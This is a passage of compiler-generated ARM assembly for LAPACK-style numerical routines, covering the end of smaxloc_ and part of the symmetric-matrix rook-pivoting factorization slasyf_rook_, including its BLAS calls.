@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-16] @ float
ldr r3, [fp, #-28]
str r3, [fp, #-8]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-12]
b .L70
.L73:
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L71
ldr r3, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-16] @ float
.L71:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L70:
ldr r2, [fp, #-12]
ldr r3, [fp, #-32]
cmp r2, r3
ble .L73
ldr r2, [fp, #-8]
ldr r3, [fp, #-28]
sub r3, r2, r3
add r3, r3, #1
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size smaxloc_, .-smaxloc_
.data
.align 2
.type c__1, %object
.size c__1, 4
c__1:
.word 1
.align 2
.type c_b9, %object
.size c_b9, 4
c_b9:
.word 3212836864
.align 2
.type c_b10, %object
.size c_b10, 4
c_b10:
.word 1065353216
.section .rodata
.align 2
.LC2:
.ascii "S\000"
.align 2
.LC3:
.ascii "U\000"
.align 2
.LC4:
.ascii "No transpose\000"
.global __aeabi_fcmpge
.global __aeabi_fcmpeq
.global __aeabi_fcmpgt
.global __aeabi_fcmple
.global __aeabi_fsub
.align 2
.LC5:
.ascii "Transpose\000"
.align 2
.LC6:
.word __stack_chk_guard
.text
.align 2
.global slasyf_rook_
.syntax unified
.arm
.fpu softvfp
.type slasyf_rook_, %function
slasyf_rook_:
@ args = 24, pretend = 0, frame = 200
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #240
str r0, [fp, #-176]
str r1, [fp, #-180]
str r2, [fp, #-184]
str r3, [fp, #-188]
ldr r3, [fp, #4]
str r3, [fp, #-192]
ldr r3, [fp, #8]
str r3, [fp, #-196]
ldr r3, [fp, #12]
str r3, [fp, #-200]
ldr r3, [fp, #16]
str r3, [fp, #-204]
ldr r3, [fp, #20]
str r3, [fp, #-208]
ldr r3, [fp, #24]
str r3, [fp, #-212]
ldr r3, .L269
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, [fp, #-196]
ldr r3, [r3]
str r3, [fp, #-84]
ldr r3, [fp, #-84]
add r3, r3, #1
str r3, [fp, #-80]
ldr r3, [fp, #-80]
lsl r3, r3, #2
rsb r3, r3, #0
ldr r2, [fp, #-192]
add r3, r2, r3
str r3, [fp, #-192]
ldr r3, [fp, #-200]
sub r3, r3, #4
str r3, [fp, #-200]
ldr r3, [fp, #-208]
ldr r3, [r3]
str r3, [fp, #-76]
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-72]
ldr r3, [fp, #-72]
lsl r3, r3, #2
rsb r3, r3, #0
ldr r2, [fp, #-204]
add r3, r2, r3
str r3, [fp, #-204]
ldr r3, [fp, #-212]
mov r2, #0
str r2, [r3]
ldr r3, .L269+4
str r3, [fp, #-68] @ float
ldr r0, .L269+8
bl slamch_
str r0, [fp, #-64] @ float
ldr r1, .L269+12
ldr r0, [fp, #-176]
bl lsame_
mov r3, r0
cmp r3, #0
beq .L77
ldr r3, [fp, #-180]
ldr r3, [r3]
str r3, [fp, #-144]
.L78:
ldr r3, [fp, #-184]
ldr r2, [r3]
ldr r3, [fp, #-144]
add r2, r2, r3
ldr r3, [fp, #-180]
ldr r3, [r3]
sub r3, r2, r3
str r3, [fp, #-28]
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-184]
ldr r3, [r3]
sub r3, r2, r3
add r2, r3, #1
ldr r3, [fp, #-144]
cmp r2, r3
blt .L79
ldr r3, [fp, #-184]
ldr r2, [r3]
ldr r3, [fp, #-180]
ldr r3, [r3]
cmp r2, r3
blt .L267
.L79:
ldr r3, [fp, #-144]
cmp r3, #0
ble .L267
mov r3, #1
str r3, [fp, #-112]
ldr r3, [fp, #-144]
str r3, [fp, #-140]
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #144
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
cmp r2, r3
ble .L83
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r2, [fp, #-28]
add r2, r2, #1
ldr r1, [fp, #-76]
mul r1, r2, r1
ldr r2, [fp, #-144]
add r2, r1, r2
lsl r2, r2, #2
ldr r1, [fp, #-204]
add r2, r1, r2
ldr r1, [fp, #-28]
ldr r0, [fp, #-76]
mul r1, r0, r1
add r1, r1, #1
lsl r1, r1, #2
ldr r0, [fp, #-204]
add r1, r0, r1
sub ip, fp, #172
sub r0, fp, #144
ldr lr, .L269+32
str lr, [sp, #24]
str r1, [sp, #20]
ldr r1, .L269+20
str r1, [sp, #16]
ldr r1, [fp, #-208]
str r1, [sp, #12]
str r2, [sp, #8]
ldr r2, [fp, #-196]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L269+24
mov r2, ip
mov r1, r0
ldr r0, .L269+28
bl sgemv_
.L83:
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L249
ldr r3, [fp, #-60] @ float
b .L86
.L249:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L86:
str r3, [fp, #-56] @ float
ldr r3, [fp, #-144]
cmp r3, #1
ble .L87
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
sub r3, fp, #172
ldr r2, .L269+32
mov r0, r3
bl isamax_
mov r3, r0
str r3, [fp, #-152]
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L250
ldr r3, [fp, #-60] @ float
b .L90
.L250:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L90:
str r3, [fp, #-100] @ float
b .L91
.L87:
mov r3, #0
str r3, [fp, #-100] @ float
.L91:
ldr r1, [fp, #-100] @ float
ldr r0, [fp, #-56] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L251
mov r3, #1
mov r4, r3
mov r1, #0
ldr r0, [fp, #-56] @ float
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L94
mov r3, #0
mov r4, r3
.L94:
and r3, r4, #255
b .L95
.L251:
mov r3, #1
mov r4, r3
mov r1, #0
ldr r0, [fp, #-100] @ float
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L96
mov r3, #0
mov r4, r3
.L96:
and r3, r4, #255
.L95:
cmp r3, #0
beq .L97
ldr r3, [fp, #-212]
ldr r3, [r3]
cmp r3, #0
bne .L98
ldr r2, [fp, #-144]
ldr r3, [fp, #-212]
str r2, [r3]
.L98:
ldr r3, [fp, #-144]
str r3, [fp, #-124]
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
sub r0, fp, #144
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
b .L99
.L97:
ldr r1, [fp, #-100] @ float
ldr r0, [fp, #-68] @ float
bl __aeabi_fmul
mov r3, r0
mov r2, #1
mov r4, r2
mov r1, r3
ldr r0, [fp, #-56] @ float
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
bne .L100
mov r3, #0
mov r4, r3
.L100:
and r3, r4, #255
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L101
ldr r3, [fp, #-144]
str r3, [fp, #-124]
b .L102
.L101:
mov r3, #0
str r3, [fp, #-120]
.L103:
ldr r3, [fp, #-152]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #152
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
ldr r2, [fp, #-144]
ldr r3, [fp, #-152]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-152]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add ip, r2, r3
ldr r3, [fp, #-152]
add r2, r3, #1
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L269+32
str r2, [sp]
ldr r2, [fp, #-196]
mov r1, ip
bl scopy_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
cmp r2, r3
ble .L104
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r2, [fp, #-28]
add r2, r2, #1
ldr r1, [fp, #-76]
mul r1, r2, r1
ldr r2, [fp, #-152]
add r2, r1, r2
lsl r2, r2, #2
ldr r1, [fp, #-204]
add r2, r1, r2
ldr r1, [fp, #-28]
sub r1, r1, #1
ldr r0, [fp, #-76]
mul r1, r0, r1
add r1, r1, #1
lsl r1, r1, #2
ldr r0, [fp, #-204]
add r1, r0, r1
sub ip, fp, #172
sub r0, fp, #144
ldr lr, .L269+32
str lr, [sp, #24]
str r1, [sp, #20]
ldr r1, .L269+20
str r1, [sp, #16]
ldr r1, [fp, #-208]
str r1, [sp, #12]
str r2, [sp, #8]
ldr r2, [fp, #-196]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L269+24
mov r2, ip
mov r1, r0
ldr r0, .L269+28
bl sgemv_
.L104:
ldr r2, [fp, #-152]
ldr r3, [fp, #-144]
cmp r2, r3
beq .L105
ldr r2, [fp, #-144]
ldr r3, [fp, #-152]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-152]
add r2, r3, #1
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
sub r3, fp, #172
ldr r2, .L269+32
mov r0, r3
bl isamax_
mov r2, r0
ldr r3, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-116]
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-116]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L252
ldr r3, [fp, #-60] @ float
b .L108
.L252:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L108:
str r3, [fp, #-88] @ float
b .L109
.L105:
mov r3, #0
str r3, [fp, #-88] @ float
.L109:
ldr r3, [fp, #-152]
cmp r3, #1
ble .L110
ldr r3, [fp, #-152]
sub r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
sub r3, fp, #172
ldr r2, .L269+32
mov r0, r3
bl isamax_
str r0, [fp, #-52]
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L253
ldr r3, [fp, #-60] @ float
b .L113
.L253:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L113:
str r3, [fp, #-48] @ float
ldr r1, [fp, #-88] @ float
ldr r0, [fp, #-48] @ float
bl __aeabi_fcmpgt
mov r3, r0
cmp r3, #0
beq .L110
ldr r3, [fp, #-48] @ float
str r3, [fp, #-88] @ float
ldr r3, [fp, #-52]
str r3, [fp, #-116]
.L110:
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L254
ldr r4, [fp, #-60] @ float
b .L117
.L254:
ldr r3, [fp, #-60]
eor r4, r3, #-2147483648
.L117:
ldr r1, [fp, #-88] @ float
ldr r0, [fp, #-68] @ float
bl __aeabi_fmul
mov r3, r0
mov r2, #1
mov r5, r2
mov r1, r3
mov r0, r4
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
bne .L118
mov r3, #0
mov r5, r3
.L118:
and r3, r5, #255
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L119
ldr r3, [fp, #-152]
str r3, [fp, #-124]
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #144
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
mov r3, #1
str r3, [fp, #-120]
b .L120
.L119:
ldr r3, [fp, #-140]
ldr r2, [fp, #-116]
cmp r2, r3
beq .L121
ldr r1, [fp, #-100] @ float
ldr r0, [fp, #-88] @ float
bl __aeabi_fcmple
mov r3, r0
cmp r3, #0
beq .L255
.L121:
ldr r3, [fp, #-152]
str r3, [fp, #-124]
mov r3, #2
str r3, [fp, #-112]
mov r3, #1
str r3, [fp, #-120]
b .L120
.L255:
ldr r3, [fp, #-152]
str r3, [fp, #-140]
ldr r3, [fp, #-88] @ float
str r3, [fp, #-100] @ float
ldr r3, [fp, #-116]
str r3, [fp, #-152]
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #144
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
.L120:
ldr r3, [fp, #-120]
cmp r3, #0
bne .L102
b .L103
.L102:
ldr r2, [fp, #-144]
ldr r3, [fp, #-112]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-128]
ldr r3, [fp, #-184]
ldr r2, [r3]
ldr r3, [fp, #-128]
add r2, r2, r3
ldr r3, [fp, #-180]
ldr r3, [r3]
sub r3, r2, r3
str r3, [fp, #-24]
ldr r3, [fp, #-112]
cmp r3, #2
bne .L124
ldr r2, [fp, #-140]
ldr r3, [fp, #-144]
cmp r2, r3
beq .L124
ldr r2, [fp, #-144]
ldr r3, [fp, #-140]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-140]
add r2, r3, #1
ldr r3, [fp, #-144]
ldr r1, [fp, #-84]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-140]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-140]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, .L269+32
bl scopy_
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-140]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
sub r0, fp, #140
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-140]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-196]
bl sswap_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-128]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-24]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-24]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-140]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-208]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-208]
bl sswap_
.L124:
ldr r2, [fp, #-124]
ldr r3, [fp, #-128]
cmp r2, r3
beq .L125
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-128]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
ldr r3, [fp, #-144]
ldr r1, [fp, #-84]
mul r1, r3, r1
ldr r3, [fp, #-124]
add r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-192]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-144]
sub r2, r3, #1
ldr r3, [fp, #-124]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-124]
add r2, r3, #1
ldr r3, [fp, #-128]
ldr r1, [fp, #-84]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-124]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-124]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, .L269+32
bl scopy_
ldr r3, [fp, #-128]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-124]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
sub r0, fp, #124
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-128]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-128]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-128]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-128]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-124]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-196]
bl sswap_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-128]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-24]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-128]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-24]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-124]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-208]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-208]
bl sswap_
.L125:
ldr r3, [fp, #-112]
cmp r3, #1
bne .L126
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
sub r0, fp, #144
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
ldr r3, [fp, #-144]
cmp r3, #1
ble .L99
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L256
ldr r3, [fp, #-60] @ float
b .L129
.L256:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L129:
ldr r1, [fp, #-64] @ float
mov r0, r3
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L257
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
mov r0, #1065353216
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-136] @ float
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r1, fp, #136
sub r0, fp, #172
ldr r3, .L269+32
bl sscal_
b .L99
.L257:
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, #0
mov r0, r3
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L99
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-172]
mov r3, #1
str r3, [fp, #-108]
b .L133
.L134:
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-108]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r1, [r3] @ float
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-108]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r4, r2, r3
bl __aeabi_fdiv
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-108]
add r3, r3, #1
str r3, [fp, #-108]
.L133:
ldr r3, [fp, #-172]
ldr r2, [fp, #-108]
cmp r2, r3
ble .L134
b .L99
.L270:
.align 2
.L269:
.word .LC6
.word 1059319931
.word .LC2
.word .LC3
.word .LC5
.word c_b10
.word c_b9
.word .LC4
.word c__1
.L126:
ldr r3, [fp, #-144]
cmp r3, #2
ble .L135
ldr r3, [fp, #-144]
sub r2, r3, #1
ldr r3, [fp, #-28]
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-20] @ float
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #-20] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-40] @ float
ldr r3, [fp, #-144]
sub r2, r3, #1
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #-20] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-36] @ float
ldr r1, [fp, #-36] @ float
ldr r0, [fp, #-40] @ float
bl __aeabi_fmul
mov r3, r0
mov r1, #1065353216
mov r0, r3
bl __aeabi_fsub
mov r3, r0
mov r1, r3
mov r0, #1065353216
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-32] @ float
ldr r3, [fp, #-144]
sub r3, r3, #2
str r3, [fp, #-172]
mov r3, #1
str r3, [fp, #-148]
b .L136
.L137:
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #-40] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fsub
mov r3, r0
ldr r1, [fp, #-20] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
mov r0, r3
ldr r3, [fp, #-144]
sub r3, r3, #1
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r4, r2, r3
ldr r1, [fp, #-32] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
